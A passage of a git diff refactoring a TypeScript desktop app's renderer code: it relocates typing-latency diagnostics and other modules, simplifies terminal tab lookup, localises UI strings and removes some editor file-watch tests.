@@ -82,7 +64,7 @@ export function recordKeystroke(
 /** Removes a prevented routed commit only if it never reached terminal.onData. */
 export function discardUndispatchedKeystroke(
   entry: InstrumentedPane,
-  candidate: PendingKeystroke
+  candidate: EchoCandidate
 ): PreventedKeystrokeDiscard {
   if (candidate.status === 'unmatched-undispatched') {
     const index = entry.ignoredDispatches.lastIndexOf(candidate)
@@ -143,7 +125,7 @@ function updateEchoBatch(entry: InstrumentedPane): EchoBatch | null {
 
 export function instrumentPaneEcho(
   pane: ProbePane,
-  onObservation: (observation: EchoObservationValue) => void
+  onObservation: (observation: EchoObservation) => void
 ): InstrumentedPane {
   const entry: InstrumentedPane = {
     pane,
diff --git a/src/renderer/src/lib/typing-latency/echo-observation.ts b/src/renderer/src/diagnostics/typing-latency/echo-observation.ts
similarity index 100%
rename from src/renderer/src/lib/typing-latency/echo-observation.ts
rename to src/renderer/src/diagnostics/typing-latency/echo-observation.ts
diff --git a/src/renderer/src/lib/typing-latency/input-events.ts b/src/renderer/src/diagnostics/typing-latency/input-events.ts
similarity index 100%
rename from src/renderer/src/lib/typing-latency/input-events.ts
rename to src/renderer/src/diagnostics/typing-latency/input-events.ts
diff --git a/src/renderer/src/lib/typing-latency/input-source.ts b/src/renderer/src/diagnostics/typing-latency/input-source.ts
similarity index 89%
rename from src/renderer/src/lib/typing-latency/input-source.ts
rename to src/renderer/src/diagnostics/typing-latency/input-source.ts
index 2f6720c7d25..2e03d3a081e 100644
--- a/src/renderer/src/lib/typing-latency/input-source.ts
+++ b/src/renderer/src/diagnostics/typing-latency/input-source.ts
@@ -1,5 +1,6 @@
 import { summarizeLatencySamples, type LatencyPercentiles } from './diagnostic-summary'
-import type { EchoObservation, KeystrokeSource } from './echo-instrumentation'
+import type { EchoObservation } from './echo-observation'
+import type { TypingInputSource } from './input-events'
 import {
   appendExactLatencySample,
   appendTypingLatencySample,
@@ -26,12 +27,12 @@ export type InputSourceLatency = {
   outputWritesPerInput: LatencyPercentiles
 }
 
-export type InputSourceBreakdown = Record<KeystrokeSource, InputSourceLatency> & {
+export type InputSourceBreakdown = Record<TypingInputSource, InputSourceLatency> & {
   imeCommitChars: LatencyPercentiles
 }
 
 export type InputSourceTally = {
-  recordInput: (source: KeystrokeSource, text: string) => void
+  recordInput: (source: TypingInputSource, text: string) => void
   addObservation: (observation: EchoObservation) => void
   breakdown: () => InputSourceBreakdown
 }
@@ -60,7 +61,7 @@ function summarizeSource(tally: SourceTally): InputSourceLatency {
 }
 
 export function createInputSourceTally(): InputSourceTally {
-  const bySource: Record<KeystrokeSource, SourceTally> = {
+  const bySource: Record<TypingInputSource, SourceTally> = {
     direct: emptySourceTally(),
     ime: emptySourceTally()
   }
diff --git a/src/renderer/src/lib/typing-latency/pane-target.ts b/src/renderer/src/diagnostics/typing-latency/pane-target.ts
similarity index 100%
rename from src/renderer/src/lib/typing-latency/pane-target.ts
rename to src/renderer/src/diagnostics/typing-latency/pane-target.ts
diff --git a/src/renderer/src/lib/typing-latency/renderer-long-tasks.test.ts b/src/renderer/src/diagnostics/typing-latency/renderer-long-tasks.test.ts
similarity index 100%
rename from src/renderer/src/lib/typing-latency/renderer-long-tasks.test.ts
rename to src/renderer/src/diagnostics/typing-latency/renderer-long-tasks.test.ts
diff --git a/src/renderer/src/lib/typing-latency/renderer-long-tasks.ts b/src/renderer/src/diagnostics/typing-latency/renderer-long-tasks.ts
similarity index 100%
rename from src/renderer/src/lib/typing-latency/renderer-long-tasks.ts
rename to src/renderer/src/diagnostics/typing-latency/renderer-long-tasks.ts
diff --git a/src/renderer/src/lib/typing-latency/sample-window.ts b/src/renderer/src/diagnostics/typing-latency/sample-window.ts
similarity index 100%
rename from src/renderer/src/lib/typing-latency/sample-window.ts
rename to src/renderer/src/diagnostics/typing-latency/sample-window.ts
diff --git a/src/renderer/src/env.d.ts b/src/renderer/src/env.d.ts
index 1bd0c537823..46c7f1a0afe 100644
--- a/src/renderer/src/env.d.ts
+++ b/src/renderer/src/env.d.ts
@@ -2,7 +2,7 @@
 
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
 import type { OnboardingFeatureSetupDeps } from '@/components/onboarding/onboarding-feature-setup'
-import type { languages } from 'monaco-editor'
+import type { editor, languages } from 'monaco-editor'
 import type { MonacoE2EProbe } from './components/editor/monaco-e2e-probe'
 import type { TerminalWorktreeParkingDebugVerdict } from './components/terminal-pane/parking/instrumentation/terminal-parking-e2e-overrides'
 import type { TerminalPtyPreSpawnE2EBarrier } from './components/terminal-pane/pty-transport/ipc/terminal-pty-pre-spawn-e2e-barrier'
@@ -65,6 +65,17 @@ declare module 'monaco-editor/esm/vs/base/common/uri.js' {
   }
 }
 
+// The same enum objects and class the public `monaco.editor.*` / `monaco.Range` re-export, reachable
+// without evaluating the editor bundle (which bakes its NLS labels on first evaluation).
+declare module 'monaco-editor/esm/vs/editor/common/standalone/standaloneEnums.js' {
+  export const EditorOption: typeof editor.EditorOption
+  export const MouseTargetType: typeof editor.MouseTargetType
+}
+
+declare module 'monaco-editor/esm/vs/editor/common/core/range.js' {
+  export { Range } from 'monaco-editor'
+}
+
 declare module 'monaco-editor/esm/vs/base/common/async.js' {
   export class Delayer<T = unknown> {
     constructor(defaultDelay: number)
diff --git a/src/renderer/src/hooks/agent-hook-completion-notifications.ts b/src/renderer/src/hooks/agent-hook-completion-notifications.ts
index b91f65180b0..cdedf36ea75 100644
--- a/src/renderer/src/hooks/agent-hook-completion-notifications.ts
+++ b/src/renderer/src/hooks/agent-hook-completion-notifications.ts
@@ -21,15 +21,16 @@ import {
   discardHookLaneCompletionRequests,
   submitHookLaneCompletion
 } from './agent-hook-completion-revision-hold'
+import { getFirstTerminalTab } from '@/store/terminals/terminal-tab-owner-index'
 import * as finishDrops from '@/attention/agent-finish-drop-breadcrumb'
 import type {
   CoordinatorEntry,
   StoreSnapshot,
-  WorktreeTab,
-  TabIndex,
   PaneCoordinatorLivenessSnapshot
 } from './agent-hook-completion-notification-types'
 
+const emptyTerminalTabs: StoreSnapshot['tabsByWorktree'] = {}
+
 const coordinatorsByPaneKey = new Map<string, CoordinatorEntry>()
 const paneKeysRequiringFreshWorking = new Set<string>()
 let wasAgentTaskCompleteTrackingEnabled: boolean | undefined
@@ -43,19 +44,6 @@ function disposeCoordinatorForPaneKey(paneKey: string): void {
   paneKeysRequiringFreshWorking.delete(paneKey)
 }
 
-function buildTabIndex(tabsByWorktree: StoreSnapshot['tabsByWorktree']): TabIndex {
-  const index = new Map<string, WorktreeTab>()
-  for (const tabs of Object.values(tabsByWorktree ?? {})) {
-    for (const tab of tabs) {
-      // Preserve first-wins lookup when tab IDs collide across worktrees.
-      if (!index.has(tab.id)) {
-        index.set(tab.id, tab)
-      }
-    }
-  }
-  return index
-}
-
 function pruneClosedPaneCoordinators(): void {
   // Module-scoped coordinators outlive panes unless close/sleep liveness changes prune them.
   if (coordinatorsByPaneKey.size === 0 && paneKeysRequiringFreshWorking.size === 0) {
@@ -78,15 +66,14 @@ function pruneClosedPaneCoordinators(): void {
     return
   }
   lastPrunedLivenessSnapshot = livenessSnapshot
-  const tabIndex = buildTabIndex(livenessSnapshot.tabsByWorktree)
   for (const [paneKey, entry] of coordinatorsByPaneKey) {
-    if (!paneCanReceiveHookCompletion(paneKey, tabIndex)) {
+    if (!paneCanReceiveHookCompletion(paneKey)) {
       finishDrops.recordPrunedPendingFinish(entry.worktreeId, paneKey, entry.coordinator)
       disposeCoordinatorForPaneKey(paneKey)
     }
   }
   for (const paneKey of paneKeysRequiringFreshWorking) {
-    if (!paneCanReceiveHookCompletion(paneKey, tabIndex)) {
+    if (!paneCanReceiveHookCompletion(paneKey)) {
       paneKeysRequiringFreshWorking.delete(paneKey)
     }
   }
@@ -140,33 +127,12 @@ function paneHasLivePty(paneKey: string): boolean {
   return getPtyIdForPaneKey(paneKey) !== null
 }
 
-function resolveTabById(
-  state: StoreSnapshot,
-  tabId: string,
-  tabIndex?: TabIndex
-): WorktreeTab | undefined {
-  if (tabIndex) {
-    return tabIndex.get(tabId)
-  }
-  for (const tabs of Object.values(state.tabsByWorktree ?? {})) {
-    const found = tabs.find((candidate) => candidate.id === tabId)
-    if (found) {
-      return found
-    }
-  }
-  return undefined
-}
-
-function paneKeyHasUnsuppressedPtyHint(
-  state: StoreSnapshot,
-  paneKey: string,
-  tabIndex?: TabIndex
-): boolean {
+function paneKeyHasUnsuppressedPtyHint(state: StoreSnapshot, paneKey: string): boolean {
   const parsed = parsePaneKey(paneKey)
   if (!parsed) {
     return false
   }
-  const tab = resolveTabById(state, parsed.tabId, tabIndex)
+  const tab = getFirstTerminalTab(state.tabsByWorktree ?? emptyTerminalTabs, parsed.tabId)
   if (!tab) {
     return false
   }
@@ -180,10 +146,10 @@ function paneKeyHasUnsuppressedPtyHint(
   return ptyHints.length === 0 || ptyHints.some((ptyId) => !state.suppressedPtyExitIds?.[ptyId])
 }
 
-function paneCanReceiveHookCompletion(paneKey: string, tabIndex?: TabIndex): boolean {
+function paneCanReceiveHookCompletion(paneKey: string): boolean {
   const state = useAppStore.getState()
   // Native hooks prove live status even before inactive-worktree PTY maps hydrate.
-  return paneKeyHasUnsuppressedPtyHint(state, paneKey, tabIndex) || paneHasLivePty(paneKey)
+  return paneKeyHasUnsuppressedPtyHint(state, paneKey) || paneHasLivePty(paneKey)
 }
 
 function hookLaneDispatchEnabled(paneKey: string): boolean {
diff --git a/src/renderer/src/hooks/composer-state/attachment-drop-state.ts b/src/renderer/src/hooks/composer-state/attachment-drop-state.ts
index 0b13f9ee53c..4fd520ddec3 100644
--- a/src/renderer/src/hooks/composer-state/attachment-drop-state.ts
+++ b/src/renderer/src/hooks/composer-state/attachment-drop-state.ts
@@ -1,3 +1,19 @@
+import { useCallback } from 'react'
+import { toast } from 'sonner'
+import { translate } from '@/i18n/i18n'
+import { joinPath } from '@/lib/path'
+import { DROP_STAGING_RELATIVE_DIR } from '../../../../shared/drop-staging-ignore'
+import { captureDirectSshMutationExpectation } from '@/runtime/hosts/ssh/ssh-mutation-expectation'
+import { useAppStore } from '@/store/index'
+import { importExternalPathsToRuntime } from '@/runtime/files/imports/runtime-file-import-client'
+import { readIpcErrorMessage } from '@/runtime/errors/ipc-error'
+import { showComposerDropFailureToast } from '../composer-drop-failure-toast'
+import { collectComposerDropResult } from '../composer-drop-result'
+import type { ComposerDropFailure, ComposerDropItemResult } from '../composer-drop-result'
+import { applyComposerNativeFileDrop } from '../composer-native-file-drop'
+import { useMountedRef } from '../useMountedRef'
+import { userNamedFileAccess } from '@/lib/files/access/local-file-access'
+import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime-client-target'
 import type { ComposerModel } from './composer-model'
 
 type AttachmentDropStateInput = Pick<
@@ -16,26 +32,6 @@ type AttachmentDropStateInput = Pick<
   selectedWorktreeId: string | null
 }
 
-import { useCallback } from 'react'
-import { toast } from 'sonner'
-import { translate } from '@/i18n/i18n'
-import { joinPath } from '@/lib/path'
-import { DROP_STAGING_RELATIVE_DIR } from '../../../../shared/drop-staging-ignore'
-import { captureDirectSshMutationExpectation } from '@/lib/ssh-mutation-expectation'
-import { useAppStore } from '@/store/index'
-import { importExternalPathsToRuntime } from '@/runtime/files/imports/runtime-file-import-client'
-import { readIpcErrorMessage } from '@/runtime/errors/ipc-error'
-import { showComposerDropFailureToast } from '../composer-drop-failure-toast'
-import {
-  collectComposerDropResult,
-  type ComposerDropFailure,
-  type ComposerDropItemResult
-} from '../composer-drop-result'
-import { applyComposerNativeFileDrop } from '../composer-native-file-drop'
-import { useMountedRef } from '../useMountedRef'
-import { userNamedFileAccess } from '@/lib/files/access/local-file-access'
-import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime-client-target'
-
 // Local drops bypass the runtime importer's skip classification.
 function localDropFailure(detail: string | undefined): ComposerDropFailure {
   if (detail?.startsWith('ENOENT')) {
@@ -275,7 +271,11 @@ export function useAttachmentDropState(input: AttachmentDropStateInput) {
         addAttachments: addComposerAttachments,
         insertFolderPaths: insertComposerFolderPaths,
         onError: (error) =>
-          toast.error(error instanceof Error ? error.message : 'Failed to drop files.')
+          toast.error(
+            error instanceof Error
+              ? error.message
+              : translate('components.toastFallbacks.filesDropFailed', 'Failed to drop files.')
+          )
       })
     },
     [
diff --git a/src/renderer/src/hooks/composer-state/composer-target-state.ts b/src/renderer/src/hooks/composer-state/composer-target-state.ts
index f9968c80eec..81dd6fc8fdf 100644
--- a/src/renderer/src/hooks/composer-state/composer-target-state.ts
+++ b/src/renderer/src/hooks/composer-state/composer-target-state.ts
@@ -1,7 +1,7 @@
 import type { ComposerDecisions } from './composer-decisions'
 import type { ComposerTargetState } from './composer-target-state-contract'
-import type { ComposerStateInput } from './composer-target-store'
-import { useComposerTargetStore } from './composer-target-store'
+
+import { type ComposerStateInput, useComposerTargetStore } from './composer-target-store'
 import { useComposerInitialTargetState } from './initial-target-state'
 import { useComposerRuntimeTargetSelection } from './runtime-target-selection'
 import { useComposerSourceContextState } from './source-context-state'
@@ -10,7 +10,7 @@ import { useComposerAsyncState } from './async-composer-state'
 import { useComposerProviderRuntimeSync } from './provider-runtime-sync'
 import { useDerivedComposerState } from './derived-composer-state'
 import { useDraftTargetSync } from './draft-target-sync'
-import { needsVisibleRunTargetHost } from '@/lib/run-target-host-visibility'
+import { needsVisibleRunTargetHost } from '@/lib/workspace/creation/run-target-host-visibility'
 
 export function useComposerTargetState(
   options: ComposerStateInput,
diff --git a/src/renderer/src/hooks/composer-state/host-runtime-effects.ts b/src/renderer/src/hooks/composer-state/host-runtime-effects.ts
index 960c57adc35..3ee8e905e13 100644
--- a/src/renderer/src/hooks/composer-state/host-runtime-effects.ts
+++ b/src/renderer/src/hooks/composer-state/host-runtime-effects.ts
@@ -35,14 +35,14 @@ import {
   isTuiAgentEnabled
 } from '../../../../shared/agent-launch/catalog/tui-agent-selection'
 import { getAgentCatalog } from '@/lib/agent-catalog/agent-catalog'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import '@/lib/workspace/creation/new-workspace-ssh-gate'
 import { isConnectingSshStatus } from '@/ssh/ssh-connection-recoverability'
 import {
   connectRepoSshConnection,
   getRepoSshConnection,
   selectRepoSshGateInput
-} from '@/lib/repo-ssh-connection'
+} from '@/lib/workspace/catalog/repo-ssh-connection'
 import { toast } from 'sonner'
 import { translate } from '@/i18n/i18n'
 import { getRepoExecutionHostId } from '../../../../shared/execution-host'
diff --git a/src/renderer/src/hooks/composer-state/runtime-target-selection-copy.ts b/src/renderer/src/hooks/composer-state/runtime-target-selection-copy.ts
new file mode 100644
index 00000000000..afa0ae50ba5
--- /dev/null
+++ b/src/renderer/src/hooks/composer-state/runtime-target-selection-copy.ts
@@ -0,0 +1,9 @@
+import { translate } from '@/i18n/i18n'
+
+/** Withheld-platform reason shown while the composer has no project selected. */
+export function selectProjectFirstReason(): string {
+  return translate(
+    'auto.hooks.composerState.runtimeTargetSelection.selectProjectFirst',
+    'Select a project first.'
+  )
+}
diff --git a/src/renderer/src/hooks/composer-state/runtime-target-selection.ts b/src/renderer/src/hooks/composer-state/runtime-target-selection.ts
index b7416acee21..7a8131a9523 100644
--- a/src/renderer/src/hooks/composer-state/runtime-target-selection.ts
+++ b/src/renderer/src/hooks/composer-state/runtime-target-selection.ts
@@ -1,29 +1,29 @@
 import { ipcOrRuntimeTargetForHostId } from '@/runtime/rpc/targets/runtime-client-target'
-import type { ComposerRuntimeTargetSelectionInput } from './composer-target-input-contracts'
-
 import { useEffect, useMemo, useRef } from 'react'
 import { getFolderSourceRepos } from '@/components/sidebar/workspace-creation/folder/folder-workspace-source-repos'
 import { parseExecutionHostId, getRepoExecutionHostId } from '../../../../shared/execution-host'
 import { getSelectedRepoSshGate } from '@/lib/workspace/creation/new-workspace-ssh-gate'
-import { selectRepoSshGateInput } from '@/lib/repo-ssh-connection'
+import { selectRepoSshGateInput } from '@/lib/workspace/catalog/repo-ssh-connection'
 import { useFolderWorkspaceComposerPathStatus } from '@/components/sidebar/workspace-creation/folder/folder-workspace-composer-path-status'
 import { useDetectedAgents } from '@/hooks/useDetectedAgents'
-import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent'
 import { resolveWorkspaceCreationTarget } from '@/lib/workspace/creation/project-host-workspace-target'
 import { isGitRepoKind } from '../../../../shared/repo-kind'
 import { CLIENT_PLATFORM } from '@/lib/workspace/creation/new-workspace'
-import { getLocalRepoProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalRepoProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import {
   resolveExecutionHostAgentStartupShell,
   resolveRepoExecutionHostPlatform
 } from '@/runtime/hosts/platform/execution-host-facts'
-import type { ExecutionHostPlatformFact } from '@/runtime/hosts/platform/execution-host-platform-fact'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { repoIsRemote } from '../../../../shared/agent-launch/startup/agent-launch-remote'
 import { buildProjectHostSetupOptions } from '@/lib/workspace/creation/project-host-setup-options'
 import { buildNewWorkspaceCreateTargetOptions } from '@/lib/workspace/creation/new-workspace-project-options'
 import { getRuntimeEnvironmentIdForRepo } from '@/lib/workspace/ownership/repo-runtime-owner'
 import { useEphemeralVmRecipeOptions } from '@/hooks/useEphemeralVmRecipeOptions'
+import { selectProjectFirstReason } from './runtime-target-selection-copy'
+import type { ComposerRuntimeTargetSelectionInput } from './composer-target-input-contracts'
+import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent'
+import type { ExecutionHostPlatformFact } from '@/runtime/hosts/platform/execution-host-platform-fact'
 
 export function useComposerRuntimeTargetSelection(input: ComposerRuntimeTargetSelectionInput) {
   const {
@@ -157,7 +157,7 @@ export function useComposerRuntimeTargetSelection(input: ComposerRuntimeTargetSe
   // Quote for the repo execution host’s OS, not the client’s (#22204).
   const selectedRepoAgentLaunchFact = useMemo((): ExecutionHostPlatformFact => {
     if (!selectedRepo) {
-      return { kind: 'withheld', reason: 'Select a project first.', recovery: 'refreshProjects' }
+      return { kind: 'withheld', reason: selectProjectFirstReason(), recovery: 'refreshProjects' }
     }
     return resolveRepoExecutionHostPlatform(
       { sshConnectionStates, sshStateByEnvironment, runtimeStatusByEnvironmentId },
diff --git a/src/renderer/src/hooks/editor-external-watch-selected-host.test.ts b/src/renderer/src/hooks/editor-external-watch-selected-host.test.ts
index cf76c03df62..ed4e7769a95 100644
--- a/src/renderer/src/hooks/editor-external-watch-selected-host.test.ts
+++ b/src/renderer/src/hooks/editor-external-watch-selected-host.test.ts
@@ -1,15 +1,15 @@
-import { expect, it, vi } from 'vitest'
+import { expect, it } from 'vitest'
 import type { Repo } from '../../../shared/repo-types'
-import { resolveQualifiedWorktreeExecutionOwner } from '@/lib/workspace/ownership/qualified-worktree-execution-owner'
-import { getResolvedExecutionHostIdForWorktree } from '@/lib/resolved-worktree-execution-host'
-import { getConnectionIdForWorktreeCopy } from '@/lib/workspace/ownership/connection-owner-resolution'
-import { resolveEditorExternalWatchTargetRows } from './editor-external-watch-target-rows'
-import { useAppStore } from '@/store'
-import { subscribeEditorRuntimeFileWatch } from './editor-runtime-file-watch'
+import '@/lib/workspace/ownership/qualified-worktree-execution-owner'
+import '@/lib/workspace/ownership/resolved-worktree-execution-host'
+import '@/lib/workspace/ownership/connection-owner-resolution'
+import './editor-external-watch-target-rows'
+import '@/store/index'
+import './editor-runtime-file-watch'
 import type { AppState } from '@/store/types'
 import { makeFolderWorkspace } from '@/store/folder-workspaces/folder-workspace.test-fixture'
 import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
-import { makeProjectGroup } from '@/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit-fixtures'
+import '@/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit-fixtures'
 import { getDefaultSettings } from '../../../shared/constants'
 import {
   selectEditorExternalWatchTargets,
@@ -19,96 +19,6 @@ import {
 type SelectedHostState = EditorExternalWatchTargetState &
   Pick<AppState, 'activeWorkspaceExecutionHostId'>
 
-it('retains the inherited folder root through subscription, events and reconnect catch-up in both orders', async () => {
-  for (const reverse of [false, true]) {
-    const rows = [
-      makeFolderWorkspace({ id: 'same-folder', folderPath: '/local', executionHostId: 'local' }),
-      makeFolderWorkspace({ id: 'same-folder', folderPath: '/remote', projectGroupId: 'inherited' })
-    ]
-    const state: SelectedHostState = {
-      ...makeState('folder'),
-      activeWorkspaceExecutionHostId: 'runtime:owner-a',
-      folderWorkspaces: reverse ? rows.toReversed() : rows,
-      projectGroups: [
-        {
-          ...makeProjectGroup(),
-          id: 'inherited',
-          executionHostId: 'runtime:owner-a',
-          connectionId: 'box'
-        }
-      ]
-    }
-    const callbacks: { onResponse: (response: unknown) => void }[] = []
-    const subscribe = vi.fn(async (_request, listener) => {
-      callbacks.push(listener)
-      return { unsubscribe: vi.fn() }
-    })
-    vi.stubGlobal('window', {
-      api: {
-        runtimeEnvironments: {
-          subscribe,
-          call: vi.fn(async () => ({
-            id: 'unwatch',
-            ok: true,
-            result: {},
-            _meta: { runtimeId: 'test' }
-          }))
-        }
-      }
-    })
-    useAppStore.setState({ runtimeStatusByEnvironmentId: new Map() })
-    const selected = selectEditorExternalWatchTargets(state).targets[0]
-    expect
-      .soft(selected)
-      .toMatchObject({ runtimeEnvironmentId: 'owner-a', worktreePath: '/remote' })
-    const payload = vi.fn()
-    const error = vi.fn()
-    const stop = subscribeEditorRuntimeFileWatch(
-      { ...selected, runtimeEnvironmentId: 'owner-a' },
-      payload,
-      error
-    )
-    try {
-      await vi.waitFor(() => expect(subscribe).toHaveBeenCalledTimes(1))
-      expect(subscribe.mock.calls[0][0]).toMatchObject({
-        selector: 'owner-a',
-        method: 'files.watch',
-        params: { worktree: 'id:folder:same-folder' }
-      })
-      callbacks[0].onResponse({
-        id: 'event',
-        ok: true,
-        result: {
-          type: 'changed',
-          worktree: 'folder:same-folder',
-          events: [{ kind: 'update', absolutePath: '/remote/a.txt' }]
-        },
-        _meta: { runtimeId: 'test' }
-      })
-      expect.soft(payload).toHaveBeenCalledWith({
-        worktreePath: '/remote',
-        events: [{ kind: 'update', absolutePath: '/remote/a.txt' }]
-      })
-      useAppStore.setState({
-        runtimeStatusByEnvironmentId: new Map([
-          ['owner-a', { status: null, checkedAt: 0, hostContactEpoch: 1, connectionGeneration: 1 }]
-        ])
-      })
-      await vi.waitFor(() => expect(payload).toHaveBeenCalledTimes(2))
-      expect.soft(payload).toHaveBeenCalledWith({
-        worktreePath: '/remote',
-        events: [{ kind: 'overflow', absolutePath: '/remote' }],
-        resync: true
-      })
-      expect(error).not.toHaveBeenCalled()
-    } finally {
-      stop()
-      await Promise.resolve()
-      vi.unstubAllGlobals()
-    }
-  }
-})
-
 const hosts = ['host-a', 'host-b'] as const
 function makeState(
   workspace: 'worktree' | 'folder',
@@ -284,129 +194,3 @@ it('never watches a sibling repo host when the requested worktree owner is absen
       .targets
   ).toMatchObject([{ connectionId: 'builder', worktreePath: '/repo' }])
 })
-
-it('proves legacy watch hosts before matching and refuses unresolved or ambiguous repo proof', () => {
-  const repo: Repo = {
-    id: 'repo',
-    path: '/remote/repo',
-    displayName: 'Repo',
-    badgeColor: 'blue',
-    addedAt: 1,
-    connectionId: 'box'
-  }
-  const state: SelectedHostState = {
-    ...makeState('worktree'),
-    activeWorkspaceExecutionHostId: 'ssh:box',
-    repos: [repo],
-    worktreesByRepo: {
-      repo: [
-        makeWorktree({ id: 'same-worktree', repoId: 'repo', path: repo.path, hostId: undefined })
-      ]
-    }
-  }
-  expect(selectEditorExternalWatchTargets(state).targets).toMatchObject([
-    { connectionId: 'box', worktreePath: '/remote/repo' }
-  ])
-  expect(
-    selectEditorExternalWatchTargets({ ...state, activeWorkspaceExecutionHostId: 'local' }).targets
-  ).toEqual([])
-  expect(
-    selectEditorExternalWatchTargets({ ...state, repos: [repo, { ...repo, connectionId: null }] })
-      .targets
-  ).toEqual([])
-  expect(getResolvedExecutionHostIdForWorktree(state, 'same-worktree')).toBe('ssh:box')
-  expect(getConnectionIdForWorktreeCopy(state, 'same-worktree', 'ssh:box')).toBe('box')
-  expect(getConnectionIdForWorktreeCopy(state, 'same-worktree', 'local')).toBeUndefined()
-  expect(selectEditorExternalWatchTargets({ ...state, repos: [] }).targets).toEqual([])
-  const first = state.worktreesByRepo.repo[0]
-  const duplicates = { repo: [first, { ...first, path: '/later-copy' }] }
-  expect(
-    resolveQualifiedWorktreeExecutionOwner(duplicates, state.repos, 'same-worktree', 'ssh:box')
-      ?.worktree
-  ).toBe(first)
-})
-
-it('keeps each logical watch owner amid shared physical SSH aliases in both catalog orders', () => {
-  const repo: Repo = {
-    id: 'repo',
-    path: '/repo',
-    displayName: 'Repo',
-    badgeColor: 'blue',
-    addedAt: 1
-  }
-  const aliases: SelectedHostState = {
-    ...makeState('worktree'),
-    repos: ['hub-a', 'hub-b'].map((id) => ({
-      ...repo,
-      executionHostId: `runtime:${id}` as const,
-      connectionId: null
-    })),
-    worktreesByRepo: {
-      repo: ['hub-a', 'hub-b'].map((runtimeOwnerEnvironmentId) =>
-        makeWorktree({
-          id: 'same-worktree',
-          repoId: 'repo',
-          path: `/${runtimeOwnerEnvironmentId}/repo`,
-          hostId: 'ssh:private-target',
-          runtimeOwnerEnvironmentId
-        })
-      )
-    }
-  }
-  for (const reverse of [false, true]) {
-    const ordered = {
-      ...aliases,
-      repos: reverse ? aliases.repos.toReversed() : aliases.repos,
-      worktreesByRepo: {
-        repo: reverse ? aliases.worktreesByRepo.repo.toReversed() : aliases.worktreesByRepo.repo
-      }
-    }
-    for (const id of ['hub-a', 'hub-b'] as const) {
-      expect(
-        selectEditorExternalWatchTargets({
-          ...ordered,
-          activeWorktreeId: null,
-          rightSidebarOpen: false,
-          lastVisitedAtByWorktreeId: { 'same-worktree': 1 },
-          openFiles: [
-            {
-              id: `${id}:file.ts`,
-              worktreeId: 'same-worktree',
-              filePath: `/${id}/repo/file.ts`,
-              relativePath: 'file.ts',
-              language: 'typescript',
-              mode: 'edit',
-              isDirty: false,
-              runtimeEnvironmentId: id
-            }
-          ]
-        }).targets
-      ).toEqual([
-        {
-          worktreeId: 'same-worktree',
-          worktreePath: `/${id}/repo`,
-          runtimeEnvironmentId: id,
-          connectionId: undefined
-        }
-      ])
-      const selected = resolveQualifiedWorktreeExecutionOwner(
-        ordered.worktreesByRepo,
-        ordered.repos,
-        'same-worktree',
-        `runtime:${id}`
-      )
-      expect(selected?.hostId).toBe(`runtime:${id}`)
-      expect(selected?.worktree.path).toBe(`/${id}/repo`)
-      expect(
-        getResolvedExecutionHostIdForWorktree(
-          { ...ordered, activeWorkspaceExecutionHostId: `runtime:${id}` },
-          'same-worktree'
-        )
-      ).toBe(`runtime:${id}`)
-    }
-    expect(resolveEditorExternalWatchTargetRows(ordered, 'same-worktree', null)).toBeNull()
-    expect(
-      resolveEditorExternalWatchTargetRows(ordered, 'same-worktree', 'ssh:private-target')
-    ).toBeNull()
-  }
-})
diff --git a/src/renderer/src/hooks/editor-external-watch-targets.ts b/src/renderer/src/hooks/editor-external-watch-targets.ts
index 3138ffdef59..4b3ca67e566 100644
--- a/src/renderer/src/hooks/editor-external-watch-targets.ts
+++ b/src/renderer/src/hooks/editor-external-watch-targets.ts
@@ -5,7 +5,7 @@ import { folderWorkspaceKey } from '../../../shared/workspace-scope'
 import { findFirstIndexedWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner-index'
 import { isVirtualEditorFile } from '@/store/slices/editor/tabs/editor-tab-content-type'
 import { findRepoForHost } from '@/store/repos/repo-host-identity'
-import { isLocalWindowsDesktopClient } from '@/lib/desktop-window-chrome'
+import { isLocalWindowsDesktopClient } from '@/app-shell/chrome/desktop-window-chrome'
 import { runtimeEnvironmentIdOrLocalUnlessTwin } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import {
   parseExecutionHostId,
diff --git a/src/renderer/src/hooks/ipc-events-agent-status-window-test-fixtures.ts b/src/renderer/src/hooks/ipc-events-agent-status-window-test-fixtures.ts
index ef729efcf24..b38e5ea7a37 100644
--- a/src/renderer/src/hooks/ipc-events-agent-status-window-test-fixtures.ts
+++ b/src/renderer/src/hooks/ipc-events-agent-status-window-test-fixtures.ts
@@ -160,7 +160,7 @@ export function stubReactSyncEffect(): void {
 }
 
 export function stubAuxiliaryModules(): void {
-  vi.doMock('@/lib/ui-zoom', () => ({ applyUIZoom: vi.fn() }))
+  vi.doMock('@/app-shell/chrome/ui-zoom', () => ({ applyUIZoom: vi.fn() }))
   vi.doMock('../lib/workspace/activation/worktree-activation', () => ({
     activateAndRevealWorktree: vi.fn(),
     ensureWorktreeHasInitialTerminal: vi.fn()
@@ -174,5 +174,5 @@ export function stubAuxiliaryModules(): void {
     UI_ZOOM_MIN: -3,
     UI_ZOOM_MAX: 3
   }))
-  vi.doMock('@/lib/zoom-events', () => ({ dispatchZoomLevelChanged: vi.fn() }))
+  vi.doMock('@/app-shell/chrome/zoom-events', () => ({ dispatchZoomLevelChanged: vi.fn() }))
 }
diff --git a/src/renderer/src/hooks/ipc-events-close-routing-test-harness.ts b/src/renderer/src/hooks/ipc-events-close-routing-test-harness.ts
index e78e1132ca2..879dc90beb2 100644
--- a/src/renderer/src/hooks/ipc-events-close-routing-test-harness.ts
+++ b/src/renderer/src/hooks/ipc-events-close-routing-test-harness.ts
@@ -107,6 +107,7 @@ export async function useIpcEventsForCloseRouting({
         activeBrowserTabIdByWorktree: { 'wt-1': 'workspace-1' },
         browserTabsByWorktree: { 'wt-1': [{ id: 'workspace-1' }] },
         browserPagesByWorkspace: {},
+        browserAnnotationsByPageId: {},
         openFiles: [],
